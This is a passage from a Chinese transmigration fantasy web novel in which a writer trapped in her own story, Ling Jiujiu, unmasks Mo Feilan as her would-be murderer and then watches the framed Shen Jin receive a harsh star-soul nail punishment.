沈烬面色如常,只是像不忍直视地撇开眼。
“乾三连,坤六断,离为火——燃!”凌酒酒尴尬扯扯唇角开始试第二次。
这回,连烟都不冒了。
“……”
凌酒酒是前几日发现自己在这个世界里竟也能操动术法,那应当是小宫主本身的术法灵力。
只是她自身也能感觉到那股流窜在她身体里的气流微乎其微,但操动一些最基础的术法还是可以的。
这生火术她在自己的房里已经练习了无数遍,是确保每一次都能准确无误的燃起屋内的烛灯才来的。可想来是这牢狱实在太寒,她那点聊胜于无的灵力的确很难在这儿生起来。
默默将手放下,凌酒酒干巴巴笑两声,开始掏衣袋,“没事,我还有第二手准备。”
沈烬只见她掏出一根火折。
沈烬:“……”
只是那火折子也不知道什么时候浸了水,竟怎么吹都吹不起来了。凌酒酒王八瞪绿豆似的瞪着那光秃秃的火折,这一刻突然感觉自己特别呆。
脑中系统像在笑,【宿主,忘了告诉您,刚才您来时外面落了雪,浸湿了火折。】
……你丫刚才不早说!
出神间,凌酒酒只听见沈烬的方向像传来一声叹。他指尖挥动,“轰”的一声!柴垛应声而燃,簇起的火苗险些灼到凌酒酒的衣角。
凌酒酒下意识往后退了一步“哇”地一声。
七杀本命原就属阴火,所操火术也浓而猛烈,热浪顿时充斥在整座天星牢中。
周身瞬间温暖,牢狱的光亮也顿时明亮起来。
暖黄的火光也映亮了他冷峻苍白的脸,凌酒酒一瞬像在他映着火苗的幽黑眼瞳中读出一句:果然是个废柴。
凌酒酒倒丝毫不在意般搓搓手勃勃道:“诶,沈烬,你既然这么会控火,那你平时是不是能变团火什么的自己取暖啊?”这怕不就能实现无限次资源了啊!
脑中系统先呛咳了一声,【宿主,这世间万物皆讲平衡,他用火需要动用灵力,动用灵力需损耗本元,本元虚弱便会自然发冷,他身上又带伤,那您说他变出火能否……】
“……”凌酒酒忍不了了,“就你能!我问你了么你就叭叭偷听我们说话,关机!”
“什么?”沈烬眉宇细微蹙了一下不解其意。
“……没事没事,我就是……最近在研究杀鸡,我最近身边有只鸡总叭叭的太吵了,就看你这火挺适合烤了它的哈哈……”
这小宫主能力虽废但行事说话倒向来有些古怪奇异,沈烬没再多想什么,靠墙略微疲倦地闭眼睛。
系统也彻底闭麦。
他今天身上的伤势似好了许多,身上淋漓的破口已经微微结了痂,不再渗血了,只是几天下来脸色更苍白连带轮廓都更瘦削了圈。
凌酒酒抱膝蹲在栏杆外盯着他哀叹,“沈烬,你就不能想想你到底还有什么仇人宿敌红眼病之类的么?我真的查了一圈实在是查不出来了,给我来点苗头也行啊……”
沈烬一瞬睁开眼,“你还在查这个?”
“不然呢?”
“奉劝你放弃。”
“为什么?”
因为没意义。
他没说出来,只是极微不可查地嘲哂了一声,瞳孔冷淡映着一簇火苗。
反正不管是谁,所有人记住的也都是他
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,唾骂的也是他。他们目的不过是想让他死。
他们都想让他死。
可他偏不死。
这世间人欺他,他就加倍奉还;天欺他,他就凌天之上。他还要等着看他们是怎么被他踩踏进泥里。
火堆黯了一黯,凌酒酒忍不住抱臂搓了搓,看着这光亮越来越暗的火势心叹这儿果然还是太冷。
沈烬似乎发觉,掌心默不作声蕴起气流眼见下一簇火苗就要打在木堆上。
“诶算了算了……”凌酒酒先一步拦住他,“你动法力需要本元,你本来就身上带着伤呢,还是算了吧,我再想想别的办法……”
沈烬目光颇复杂地看她一眼。
突然,一只细小飞虫飞来。那虫子遍体绯红,极其微小,若非凝神仔细去看几乎不易察觉。
沈烬眸光微凝突然凝刃于右掌抬手就在左掌心划下一道血口。
“诶?!”凌酒酒大惊失色还没等问,他已经勉力起身到护栏旁,手伸出护栏悬在火堆上。
鲜血滴滴从拳心落入微弱火中。红色小虫就立刻飞蛾扑火般地飞奔而来。遇火的刹那顷刻化为一捧火引得木堆都再次燃烧起来。
“哇!”凌酒酒的惊骇立刻转化为惊讶。
沈烬:“血烉虫,无毒,嗜血,遇火可自燃。”
看着已燃成灰烬的血烉虫……凌酒酒忽然眸光一亮!
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当晚,小宫主凌酒酒想起碧寒潭洞真正推手的消息便传遍了整个栖星宫。
十四宫上下举宫震讶,诸多星君齐聚天同宫,凌酒酒却将自己封锁在卧房避而不见。
诸星君担忧,“酒酒究竟是怎么了?”
阿雾:“诸位星君请见谅,小宫主自想起来后便受了些惊吓,一直念叨着‘怎么会是他’,这才避不见客的。还请诸位星君暂且回吧,如有动向,我会第一时间告知的。”
莫飞澜面露忧色,“那歹人是谁酒酒可曾说?”
“小宫主说,这人隐藏至深,令她都没能想到,所以坚持要等宫主出关后当众揭晓,还请诸位星君暂待。”
众人叹息,也别无他法,再次嘱咐了一番后纷纷离去。
入夜月黑风高,风清人静,今夜又是浓云蔽月没有星星。
天同宫凌酒酒所居的卧舍房门紧闭,阿雾将最后一盏吹熄后,轻轻退出房门。
整个房间也顿时陷进了一片黑暗里。
夜过三更之时。
一道影子从天同殿外飞速闪过。
他动作极快,如一缕鬼魅翻入卧房里,悄无声息逼近凌酒酒的床榻。
当他手中的刀高举飞快刺下去时——
“乾三连,坤六断,离为火——燃!”
身后突然响起一声飞快的咒语,同时整座卧舍烛灯乍亮!
刀尖刺破床上伪装的人偶飞起一片棉絮。他想退出去时已经来不及了。凌酒酒立在房间角落,大喝一声:“阿雾!”
阿雾立刻化作一片雾气缠斗而上,整个房间如蒙上了一片迷雾朦胧不清。
他飞快逼近凌酒酒的角落想扼住她的脖子,被阿雾阻去。凌酒酒仓促抬手恰巧扯下他的面罩。
“是你!”
5. 005.爱慕
莫飞澜!
破军星官莫飞澜!
她笔下一直心挂小宫主的救命之恩、对她始终保持一隅心之柔软的角落、还在她逝世后心灰离宫的莫飞澜!居然是暗害小宫主的真正凶手!
天爷呀,这个世界还有什么是真的啊!
“系统!怎么会是他啊!”
【……】
靠,这时候又装死了!
震讶间,阿雾与莫飞澜的缠斗已趋近白热。莫飞澜到底身及星官,阿雾逐渐不敌处于劣态。凌酒酒看得眼花缭乱急急大喊:“师父!”
立时另两道身影如闪现而来,其中一位身着星君级的宫衣、袖口浅蓝水浪翻飞——正是当日沈烬受审时那位拦住莫飞澜的白胡子老头——天同星君泊尘。
他手执长剑,剑气也如同阵阵掀翻的水浪。另一侧同他交好的天梁星君也同样催动灵力,澈蓝剑气与黛蓝灵力很快组成了一个巨大的“明珠出海”阵。分分钟如一面以水线编织的巨网将莫飞澜当头罩下去!
莫飞澜一瞬被压得单膝跪地,膝盖刹那将地板都击出裂缝,涌出的气浪令凌酒酒都不禁抬手遮脸踉跄后退。
他急中生乱,在阵眼张开的刹那拼尽全力打出一掌——
涌出的灵力却是水浪般的澈蓝徐徐荡漾!
天同铸!
天同宫的本命术法天同铸!
凌酒酒:“是他是他!就是他!天同铸!他会天同铸!”
但他到底修得不精,术法打在天同本命所铸的阵眼上立刻遭到反噬,瞬间倒地哇啦吐出一口血。
除天同、天梁两宫外,栖星宫其余十几位星君万没想到今晚的天同宫这么热闹的。原是说小宫主凌酒酒已经恢复记忆想起凶手,后又说此前种种不过做戏,而引出的真凶偏又是北斗峰那位近来挺受重视的破军星官,一个接一个的消息令人应接不暇瞠目结舌。
诸位星君自十二神殿之“死”殿汇聚时,一向与天同颇交好的廉贞星君还蛮大的不乐意,嗔怪着,“泊尘老儿,这么大的事还瞒着我们!不够意思!”
“哈哈,小徒弟不让说。”天同星君泊尘轻捋着胡须,歉辞笑着,“少年人,有想法,有主意,是好事!我总要尊重尊重他们的意思帮忙做个局。”
但到底算扬眉吐气了一回,天同星君红光满面,微昂着的头小辫子都有翘起来之意。
天同宫在以往的十四宫中存在感一直不太强,轮对战打不过“杀破狼”三宫、轮统领又比不过紫微、天府;
不如武曲有钱、也没有天梁的好人脉好人缘。除了一个“善”字为天下广知,在整个栖星宫看来无异于一个吉祥物。
还是在十几年前,命格纯粹清奇的小宫主凌酒酒被紫微命盘批显命入天同宫,才令天同宫在当时神气了一把。
只可惜这小宫主的体质灵脉也是废的,令人惋叹。
这头七杀、天刑星君等人正在刑审莫飞澜,七杀星君的颇焰鞭无差别地打在他身上。
“莫飞澜,枉你身为星官,究竟为何要戕害同门?暗害凌酒酒、陷害沈烬!从实说来!”
莫飞澜整个人被束仙索狼狈半吊着,鲜血如注流出来,却咬死了不肯说话。
凌酒酒颇有点泄愤似的盯着他撇撇嘴。该!可算把沈烬受的那几下给还回来了。
天刑星君:“说!”
他喘息不答。
不说话是吧?
“没关系,我来替你答!”凌酒酒从一旁的队列里站出来,像个解密的小侦探似的,昂着头,背着手,睨着正跪地狠瞪着她的莫飞澜头头是道。
“我猜,那天,应该是这样的吧……”
那日栖星宫历考,栖星宫上下所有弟子皆需历练。栖星宫上下星级分明,如星官一级的弟子除却要完成自己的历练外还需额外照看自己分辖范围内的师弟妹,而碧寒潭洞的一片正是莫飞澜的区域。
他应当是从一开始就偷偷跟在小宫主和沈烬的后面了,等到可趁的时机才出面。
小宫主对莫飞澜没有设防,所以在被推下碧寒潭的前一秒,都不曾呼叫过一声,于是沈烬听见的也就只有落水的一声。
莫飞澜曾被小宫主所救,极大地可能也是从她那儿修习过天同铸的。
栖星宫不同宫系的弟子,原不会修习本命宫外的术法,但破军与天同皆属水五行,总归同气连枝。
他使出天同铸对付沈烬,却不真杀他,估计目的就是想在他身上留下天同铸的痕迹,以此将小宫主的死陷害在他身上。
等另一队的人发现小宫主的命星有异来询问状况时,他趁机逃脱,然后在人多混乱之时在角落脱下伪装佯装姗姗而来询问状况。寒潭洞为他的分辖,他又是名副其实的星官大师兄,天经地义。
一箭双雕;
一石二鸟!
阴险卑鄙!
四下一片哗然,诸星君也颇觉在理地互相点头接头接耳。七杀星君厉声问:“莫飞澜,凌酒酒所述,可属实?”
莫飞澜还在咬牙瞪着凌酒酒,眼神像有恨意,半晌才咽了咽唾沫虚声道:“左右我已这样了……要杀要剐……悉听尊便。”
呦呵,还挺有骨气!
凌酒酒抱臂悠悠在他身边绕了一圈后在他几米外蹲下来平视着他的眼睛。
“你放心,你要是真想被杀,那我们倒是也能勉为其难的成全你,只不过杀之前嘛,颇焰鞭刑肯定是免不了的了,星魂钉也总该来几颗吧?”
“这快年关了,宫门大开杀戒也不好,就劳烦你先在天星牢住上一段时日。你放心,现在这季节,天星牢保证持久保鲜超强冻力,绝对能让你身上的伤口新鲜如一。等到处以雷刑的时候,绝对外焦里嫩色香俱全,再加点孜然,隔壁饕餮兽都能馋哭了!”
莫飞澜脸色白了一白。
天刑星君和七杀星君也不禁掩面别了别脸,半晌轻咳着肃正了神色,“莫飞澜,你这样做的原因究竟为何,你若如实招来,说不准还能从轻处置。”
莫飞澜闭了闭眼,像终于下定了什么决心般——忽地睁开眼睛就重新瞪向了凌酒酒恶狠狠道:“因为我憎恶她!”
凌酒酒不明所以起身。关她什么事?
莫飞澜:“谁叫她总缠着我,说爱慕我,想要我,还用小宫主的身份强迫我,让我委身于她!若我不从,她就要向宫主告命要夺去我的星命逐出星宫!我不服,我恨不得杀了她!”
!!?!!
周围瞬间一片惊哗,在场所有星君弟子都炸开一阵窃窃私语。凌酒酒也猛然深吸了一口气——
我靠!什么情况!
系统,怎么还有这茬啊!!
系统此刻的状态也仿佛在吃瓜,【我也不知道啊……】
……要你何用!!
周围此起彼伏的议论声越来越大,凌酒酒不用看都能感觉到自己身上正有无数双眼睛似箭正嗖嗖嗖地指指点点着她,一口气险些背过去上前一步就要反驳,“我什么时——”
“只因对你起了思慕之心只是用错方法你就痛下杀手陷害无辜,你不觉得你这心肠过于歹毒?”天刑星君已经开了口,还似要维护凌酒酒脸面似的将她悄无声息往后护了护。
凌酒酒冒出个脑袋,“不是,你们等……”
“那她的心肠就不歹毒?”莫飞澜恨声:“我修行数载,好不容易才得今日之成就,可她却能凭自己的小宫主身份就欺压于人,凭什么?道说芸芸万物平等,在她那儿却又成三等九格!我不过是想在这宫中存活立身,可她却能一句话就毁了我所有,我就是不服!”
凌酒酒:“不是!我……”
“即便如此,你大可以将这件事告知诸宫星君和宫主,让尊长定夺!”七杀星君:“再言之,凌酒酒曾救过你一命,你却是这般报之,恩将仇报,也是你所追求的道吗?”
“不是,那个……”
“即便告知你们又如何!”莫飞澜:“她是宫主之女,你们当真不会偏袒包庇吗?就如现在,你们还不是第一时间就维护她的脸面?你们敢说,待处死我后,她不还是你们星宫所谓的尊贵的小宫主?”
“不是……”
“那你——”
“够了!”实在忍无可忍,凌酒酒大喝一声,直接站到几位星君和莫飞澜之间手叉腰粗喘了一口气。
四下顿时寂静。
靠……真是绝了!
脑中系统传来一声,【宿主,
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刚!】
……闭嘴吧你!凌酒酒在心中唾骂一句。
她手叉腰,一张灵秀脸庞涨得通红,胸口气愤一起一伏,整个人都像恨不得炸毛,给人看去倒真有几分被戳破隐私恼羞成怒之意。
她目光气呼呼地向在场众人巡视了圈,然后突然像壮士断腕般大步到莫飞澜跟前,猛地深吸一口气张口便骂:
“你是有什么大病?是谁给你的普信让你这么大脸?我小宫主是身体不好但又不是瞎了!扒着你这么个高不成低不就的星官恋爱脑发作?谁信!这满宫上下别的不说,江遥和沈烬还在呢!是江遥不帅了还是沈烬颜值变菜了?趁着我没记忆在这儿空口白牙地造谣,我呸!”
四下惊无一声,直到两秒后才爆开一片更大的哗然。而凌酒酒听着四周更剧烈的窃窃私语声才感觉到自己话说得好像有异义……
——原来小宫主有这癖好啊!
——怪不得她最近查这件事查的这么上心,原来是为了沈烬!她喜欢沈烬!
——她还爱慕江遥师兄!
——天啊天啊!小宫主这算不算是脚踏两条船啊?
——别的不说小宫主的审美还是不错的啊!
——是啊是啊……
“……”真是弄巧成拙。
莫飞澜的脸也一阵红一阵白,低垂的脸掩不住的羞耻。都说莫飞澜是近来南斗峰破军宫的头角之秀,可每每宫中人把他和贪狼宫那位深居简出的师兄江遥对比时,却都将他贬若尘泥。
莫消说江遥,就是将他和不曾被批命星前的沈烬相提,都说他望尘莫及。
七杀星君掩唇轻咳,天刑星君也似不忍直视地别了别头。其他几位星君也似递眼神地递眼神、憋笑地憋笑。
半晌才有人肃起神色下了命令。
“好了,此事已明,先将莫飞澜押入天星牢,后续事宜待宫主出关后统一定夺吧!”
纷纷离去时,凌酒酒还觉得不少人心照不宣的目光黏着在她身上,意味深长的。
……这都什么事啊!
-
“沈烬!沈烬!”
凌酒酒快步跑进天星牢,如一只欢快的小鸟。
沈烬正在打坐运息,仓促间听见一声清亮亮的呼喊微微蹙了蹙眉。睁眼,就见一道银星泛浪般的身影已经站在了牢房外。
“今天又带来什么了?”
“今天嘛……东西倒是没带!好消息倒是带来了一件!”
凌酒酒抱臂倚着栏杆笑得神秘,沈烬如常注视她目光平静。
凌酒酒故卖关子似的停了会儿才弯眼笑,“沈烬,我和你说!我已经查出来当时推我陷害你的真凶是谁了,你绝对想不到!居然……”
“莫飞澜。”沈烬已然先一步开口。
她一顿,继而惊讶。
“你怎么知道?”
“我还听说,你是因为爱慕于他强迫他委身,这才令他厌憎痛下杀手。”
“……”凌酒酒一瞬险些吐血。这事怎么都传到天星牢来了!
沈烬垂眸轻掸衣角上的灰,唇线却似有若无地勾了一下,但转瞬即逝。
在凌酒酒看回他时又恢复了平日冷峭淡漠的样子。
凌酒酒说:“沈烬,这件事虽然算查清了,但估计还要委屈你在这儿再住几日。”
“你放心,等过几日,宫主就出关了,宫主出关后,会将这件事公正决断的。我说了会查清还你一个清白,这次就不会让人再误会你了。你再等我几天,嗯?”
她说着递进去一只手,只弯着一根白皙小巧的小拇指,星牢幽冷光线下微微反出点莹白的光。
沈烬看着那根葱白的拇指不由蹙动了下眉。
其实他至今还对这个小宫主诸多疑问。不解她为什么这么坚持不懈“查明真相”这回事,不解她干嘛非执着于还他清白。
在他看来,这种舍己为人的行为实在愚蠢且多管闲事的紧。
但看着她伸来的这只手,他最终还是什么都没问出口,只藏在衣摆下的指尖犹疑地动了动。
他手上血泥斑斑,悄无声息地在衣角上蹭了下,终是没抬手,只淡渺撇开目光低低应了声。
“嗯。”
6. 006.出关
栖星宫建宫数以千年,宫主也并非谁都能当得。
太昭有云:星更躔度,数分定局;三垣中央,唯道紫微。故,历届栖星宫主也仅有紫微宫主可担任。
如今的栖星宫主凌云木,是栖星宫历届宫主中第一个女宫主,也是公认的最得天独厚、才能卓绝的一位。
她而今方过不惑之年,却已破脱凡之境。八年前,在她尚为紫微司命之时就己镇压下万毒虿谷、刀林血冢两处凡劫。更在上任宫主遇难身陨后孤身扛起整个紫微宫与栖星宫。拾遗振兴,令宫中许多早已入门多年的长者星君都心服口服。
紫微宫处在北斗峰第一宫。是整座北斗峰、乃至整个栖星宫中最大、亦最浩渺的宫殿。
今日是宫主出关之日,甲级正曜十三宫星君以及所有乙级三十二位星君都来了,共同立在紫微殿前静候。
清晨辰时过一刻,当第一缕朝阳破晓照耀在紫微殿的七色檐铃的时候。
紫微殿中传来悠长的一声钟响,有飞鸟自殿中飞起,白鹤在天空盘旋。
大殿的门徐徐张开,一行人从中走出来。
“宫主!”
“宫主!”
数位星君立刻迎上前。
修仙之人登至造舍境可保容颜不老不变。栖星宫主虽已年逾不惑,面容却仍是而立之年的青年模样。
长身玉立,气质优雅超绝,一身绣二十八星宿与藤紫云纹的银白宫衣加身,不似仙人更似仙人。
凌酒酒原本是躲在队伍里看热闹,在门开的刹那却蓦地睁大眼,眼眶也惊愕瞬红。
“妈……?”
系统敏锐地察觉到她的情绪,说话声都比以往放轻,【宿主,您想妈妈了?】
不是想。
是看到了。
她心尖百感交集心潮汹涌,一瞬不瞬看着远处的人脚步像被钉在了地上,忽然感觉眼前的一切都虚得像梦。
凌酒酒的妈妈,是她觉得这世间最温柔的人。虽然她们相处并不多,可留给她寥寥的画面却始终温暖而美好。
在她印象里,她美丽且温柔,耐心且包容,总是用最亲切和暖微笑摸摸她的头,说:“我们酒酒最棒了!”
后来生活再艰苦,她每当想起那一幕心之一隅也总能泛起温热,似乎能支撑着她抵挡过这世上所有的艰难困涩。
妈妈去世那年,现实原身的她才十五岁。
她看着心电图上线条的微弱,看着她用苍白消瘦的手轻抚她的脸颊,眼角滑下一颗泪,“我们酒酒……以后该怎么办啊?”
“酒酒……一定要好好的。平平安安,长长久久。”
心电图变成直线,她的手垂下去,只留下一枚项坠落在她的手上。
眼中突然掉下一滴泪,凌酒酒不自觉按住自己衣襟下的项坠,低眸使劲眨了眨眼。
下一秒,视野里突然走近一双长靴。
凌云木那边与诸星君寒暄问候完了,此刻立在了自己的女儿凌酒酒的面前。她这些年身但重任,克尽厥职,唯有对自己的女儿缺少关怀,所以呼唤声也轻柔了些。
“酒酒?”
凌酒酒心一跳,强压着心底的紧张激动缓缓抬眼。
她眼眶还是湿红的,动了动嘴几番欲言又止,一句“妈”和“宫主”在唇边辗转了半晌,最终还是嚅嚅叫了声,“娘……”
周围众星君都以为她是思亲心切,一时都笑了。
凌云木也似微松了口气,也笑起来,“都多大了,还要哭鼻子。”
她伸手摸摸她的头发,笑容里的欣慰和喜悦却止不住地往外溢。
凌酒酒看着她这动作浑身又是一僵,鼻尖更酸一把上前抱住她就呜呜呜地哭起来。
周围笑得更盛了。
等凌云木这边哄好了凌酒酒,邀众星君一同步入紫微殿,一道同样穿着藤紫云纹宫服的身影悄悄走到凌酒酒跟前。
“你好,酒酒小师妹,早就听闻过你的名字,如今终于见面了,我是你的师姐,任紫依。”
凌酒酒盯着一双红桃眼呆呆看她方才的情绪突然抛到九霄云外,转而化作了另一种激动。
啊啊啊啊啊!任紫依!任紫依!
她书的女主任紫依!她的宝贝女鹅任紫依!
是啊是啊!终于见面了啊啊啊!
任紫依是栖星宫主凌云木的首徒,亦可说是栖星宫中下一代的“凌云木”。十几年前,尚为紫微司命的凌云木收了任紫依为徒,悉心教导,托以重望,可以说是为栖星宫的下一任培养宫主。
如今她也已成为紫微司命,是目前整个栖星宫凌酒酒这一代当之无愧的大师姐,位份比莫飞澜还要重。
在《栖星谣》中,凌酒酒的主线写的就是任紫依与江遥携手共进、除邪卫道、逐步成长为一代宫主的成长之路。后来在那场大战中凌云木身死后,任紫依不负众望继任宫主。
想到“死”这个字,凌酒酒心跳骤然飞快,脸都白了一白。
她第一次想到,如果要她推动故事走到原结局,那岂不是……
她看向远处的凌云木,不。
不对!
如果沈烬不会黑化,那后续很多事情就不会再发生。
那些再次出现在她生命里的人就不会死。
她也不会再眼睁睁地看着她的生命流逝。
还有沈烬。
她也不会再让他经历他上一次的那些遭遇和痛苦了,她会竭尽所能,予他一个完满的结局。
凌云木自闭关时就已听闻了碧寒潭洞事件,此刻召集众星君到此,就是为了当众提审沈烬莫飞澜。
不多时,有星从应令自天星牢押来莫飞澜与沈烬。莫飞澜浑身血迹还未干,样况凄惨。沈烬已在天星牢休养数余日,身上的伤倒是养得七七八八,只是牢狱风寒,他整个人显得更苍白。
他行动时微微还有些迟缓,唇都微微泛出一点青紫色。两人被人一同缓慢按着跪在地上。
沈烬:“参见宫主。”
莫飞澜:“参……参见宫主……”
凌酒酒在一旁眼睛一亮,抿唇微笑小幅度地向他挥挥手。
他余光看见了,却视若无睹,很快淡漠垂下目光只默默盯着自己膝前一寸的地方。
宫主凌云木坐在上位,目光静静在他们两人身上审视了一圈,先问:“莫飞澜,当日推害凌酒酒坠碧寒潭,陷害沈烬,可是你所为?”
莫飞澜垂着头,整个人都似被伤痛得神思迷离,应答的话都含混不清,“……是。”
“你可知罪?”
“弟子……知……”
“听闻你是因为凌酒酒爱慕于你强迫你委身,这才痛下杀心,此由可真?”
这句话一问完,莫飞澜突然没了声音。而一旁的凌酒酒:“……”
这事怎么还没过去啊!
周围又叽叽咕咕浮起一点声响。任紫依掩唇轻咳。沈烬都不禁神色难言地向她瞥去一眼。
等了片刻,莫飞澜始终不见动静,而凌云木已经心有决断般断然起身,“莫飞澜,你戕害同门、陷害无辜,此为罪一;造谣生非、惑众伤人,此为罪二。今罚你十五道星魂钉刑,褫夺星命,退籍离宫,你可认?”
莫飞澜一瞬惊恐抬起头来,骇然喊:“你杀了我吧!”
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话音刚一落下,凌云木手掌一运已凝出三道冷光,三道星魂钉如脱弦的箭立时直刺他而去——
下一秒三道冷光从他身前当胸而过,瞬间有血花从他胸前背后爆裂开来!莫飞澜也哗地吐出一口血。
他面容狰狞,形容狼狈,却什么都来不及顾了,剧痛让他瞬间倒地蜷起身痛呼起来,声声凄厉,仿佛扒皮剔骨。
凌酒酒刹那看得心惊肉跳,心脏都像上了弦的鼓槌怦怦直响。
她当时写星魂钉的时候只写了这是栖星宫中最狠的刑罚,令人痛彻骨髓却不致人命,哪想着现场看着会这么惨烈啊!
且莫飞澜受了三道都成了这样,那她当时写沈烬受了十七颗……
身边的任紫依似发现了她的畏怯,悄无声息握了握她的手,“师妹别怕,星魂钉只惩戒宫内重罪。此人对你暗下杀心,罪不容诛,宫主此举已经是饶他一命。”
“哦哦……”凌酒酒白着脸点点头心悸得不敢再看。
凌云木漠声,“此三道,罚你戕害同门,心思诡谲,丧天害理。栖星宫中最忌同门相残,亦不留丧缺人性之徒,在此效尤。其余十二道,还劳烦天刑星君至‘死’殿当众处置吧!”
立时有人上前拖走莫飞澜。天刑星君也起身向宫主一颔首。
凌云木又转向了沈烬。
沈烬的眼睛始终静垂着,方才莫飞澜遭遇的一切在他眼中有种形若无睹的渺淡。他身上的衣服和面色都苍白,整个人都透着种剔透的脆弱,直挺的背脊倒有种折不败似的韧性。
“沈烬,当日历考,是你与凌酒酒同组?”
“是。”
“你全程都与凌酒酒同路而行?”
“是。”
“莫飞澜害凌酒酒坠碧寒潭时,你听到了?去追了凶手?”
“是。”
“为何不第一时间救人性命?”
沈烬突然不说话了。
凌酒酒在旁原本还很放心地听着凌云木的提问,突然有种不好的预感。
大殿突然沉入寂静,所有人的目光都落在沈烬的身上。沈烬也始终面色寡淡地低着眼。听着周围渐渐浮起的窃窃私语。
半晌没得到回应,凌云木微微沉声又问了一遍。
“为何不第一时间救人性命?”
他仍不答。
少顷,凌云木像无可奈何似的一叹。
“你既已受过颇焰鞭刑,也算惩戒过。如此,就加罚两道星魂钉刑,诸宫围观警戒,可认?”
“等会儿!”还不等沈烬说话,凌酒酒一瞬惊了,顾不得周围人惊讶的眼神就连忙跳出来。直接都挡到沈烬身前了,大惊失色问:
“那……那什么,娘!我人都在这儿了我没什么事啊!害我的人又不是他!干嘛还要……”钉人啊!!
沈烬这一刻终于面色难明地抬了抬眼,心道这人还是这么爱多管闲事的。
凌云木看着突然跳出来的她也像嗔怪不悦地轻睇她一眼。周围又窸窸窣窣地浮起了一阵耳语声。听起来几乎都是:
——啊小宫主又维护这个沈烬!
——小宫主果然喜欢这个沈烬!
但她管不了这么多了!
凌云木很快又肃正了神色,蓦地负手站起身来,面众容颜冷肃,字字有力,郑重道:
“我早说过,栖星宫上下一体,以人为尊。丧尽天良者自不可留,但冷漠人命者亦不能纵。”
“星辰合一更度方能掌天地平衡,固守万天之墟。若我们星宫内部就已失了勠力同心的本质,那和长堤溃于蚁穴有什么区别?”
“行罚!”
7. 007.受罚
立时便有人上来要带走沈烬,凌酒酒心急之下立刻拦了一把,“等……等下!再等下!”
不行……
她好不容易才将他从原先的剧情里拖出来,不能就这么再让他跌进去。
不能功亏一篑,绝不能让他受钉刑。
她顶着所有人诧异又不解的眼神,上前一步努力让自己看上去合理一些急急道:“那个……娘!这是不是……太严重了?他,他身上还带着伤呢!而且再说了今天大家在这儿不就是为了处决害我的这件事吗?为什么还要……”
“凌酒酒。”凌云木这时才像浮露出不悦,语气也恍若无情的严厉,“我早也与你说过,正殿之上无父母亲眷,唯师友长幼,你都忘记了?”
凌酒酒呆呆愣了几秒才反应过来这话中之意。她身后的沈烬已然哑声执礼,“弟子……”
“宫主!”凌酒酒直接跪下来,再什么都不顾了急声道:“宫主……弟子求您,饶沈烬钉刑这一次。此事因我而起,再怎么说莫飞澜要害是我,是无辜牵连了沈烬,您就饶他这一次吧……弟子求您!”
沈烬这一次当真意外了,目光不解地落在她身上。
栖星宫主也惊了,讶然看着以额触地的凌酒酒胸口都像澎起一团生气又无奈的火气。周围窸窸窣窣的声音也越来越大。任紫依见状连忙察机观色地上前拉下凌酒酒小声说:
“师妹,宫主此举,自有宫主的道理,栖星宫规早有言明无论何时何地皆以同门师友性命为上,上下一体。沈烬此次的确算违反了宫规,你勿要让宫主难做。”
“可……”
见她被拉开了,凌云木像有些疲惫地阖了下眼,“行罚吧。”
紫微殿广场若说观刑是个比“死”殿刑台更适合的观刑地,因为那是一个巨大的法阵。法阵以北斗六星为合体,在内者破不开,在外者也破不进,阵中的一切也都清晰清明。
十四宫上下几近所有弟子都来了,听闻今日是要当众处置先前碧寒潭事件的错失者,望见阵中被悬吊的沈烬纷纷神色各异。
凌酒酒也不知道他们是什么心情,她这一刻却焦灼得恨不得直接冲过去,“沈……”
任紫依拉住她,悄无声息给她手里塞去一瓶药。
“冰魄散,专治星魂钉后续的伤血灵药,宫主其实早就备好了,只是这一次阖宫上下是第一次出现类似事件,宫主想小惩大诫而已,你千万不要冲动。”
凌酒酒握着冰魄散看了看又看向他忽然不知所从。难道他受钉刑这一关就怎么都化解不了了吗……
当第一颗星魂钉被天刑星君操动穿破沈烬的身体的时候,沈烬当即浑身巨颤涌出一大口血。
血染红了他身上原就破损脏污了的宫服,像染灰的雪地又落了一大片红梅。
他咬死了没吭声,指节狠狠抓住了束仙索浑身绷紧,身上旧日的伤口都有被绷得重新裂开丝丝渗了血。长睫疾颤着,样子痛苦又凄楚。
凌酒酒心脏一瞬像被炸开了扑通扑通地狂响,太阳穴也疯狂发胀,双手疾颤地别过脸不忍看。
身边的任紫依微微拢住她的肩,边为她挡了挡台上边安抚地拍了拍她的背。
她突然想到了她书里的场景。
当时她文里写着:十七颗星魂钉一颗颗穿透他的身体,他却始终未吭一声。鲜血渐渐将他身上的白衣浸透。剧痛令他的思绪和神念都渐渐开始飘离,他所有的尊严与不卑不亢也都在这当众的一刻狼狈到丢盔卸甲再什么都来不及顾。
死……他在那一刻想的是。
死了就好了……死了最起码就不会这么疼了。
反正他们都想让他死;
反正就算他死了这世间也没人在乎;
他不如就真的死了,也好过这般……
可转瞬,他又想,不行!
他还不能死。
即便要死,他也不该这样的死。
他该带着所有轻鄙他、奸害他、有负他的人去死,他该将所有的苦痛一一偿还,该将受过的痛苦一一加深报复!
沈烬此刻的大脑却一片空白,剧痛令他即便受刑也努力挺直的腰脊都忍不住弯折蜷缩起来,喉里一片腥甜。
疼。
太疼了……
钻心噬肺,撕魂断骨般。他第一次感觉原来疼是真能到恨不得死了。
当第二道来的时候,他想喊,浑身懈怠的力气却根本喊不出来了。
思绪漂浮间他整个身体已经蓦然一轻,身上所有的禁锢解禁落在阵台上,半跪着涌出一口血。
“沈烬!”凌酒酒和任紫依第一时间冲上去。
周围所有人寂无一言,不知是被吓到了还是震慑住了,凌云木看着倒在地上的沈烬也面有不忍,对身后道:“天医星君。”
天医星君立刻上前为沈烬断脉,很快回首恭敬道:“宫主放心,只略伤了本元,性命无虞。”
凌云木这才叹一口气像放下心摆手让人带他下去养伤了。
沈烬半伏身在地上倒着,浑身的力气都仿若被抽尽。他思绪迷离,身上遍身血迹,指尖也沾了不少血污。
朦胧间只能听见耳边一直有个声音在喊着:“沈烬……沈烬!”
这声音平时总是叽叽喳喳的,今天听着却微微像带了一点轻颤的哭腔。
他蹙眉费力张开一点眼睛,影影绰绰地只能看见一个大概轮廓,伸着手似乎想碰他而不敢碰喋喋说着:“对不起……对不起……”
凌酒酒哭了,她也不知道自己为什么哭,只是忍不住噼里啪啦掉下眼泪不忍地将冰魄散塞进他手上。
“对不起……”
沈烬朦胧间只觉得掌心一凉,指尖不自觉地轻缩了缩。脸上也微微一滴凉意,像下雨了。
在失去意识前的最后一秒,他都很想问……她到底有什么对不起他的。
-
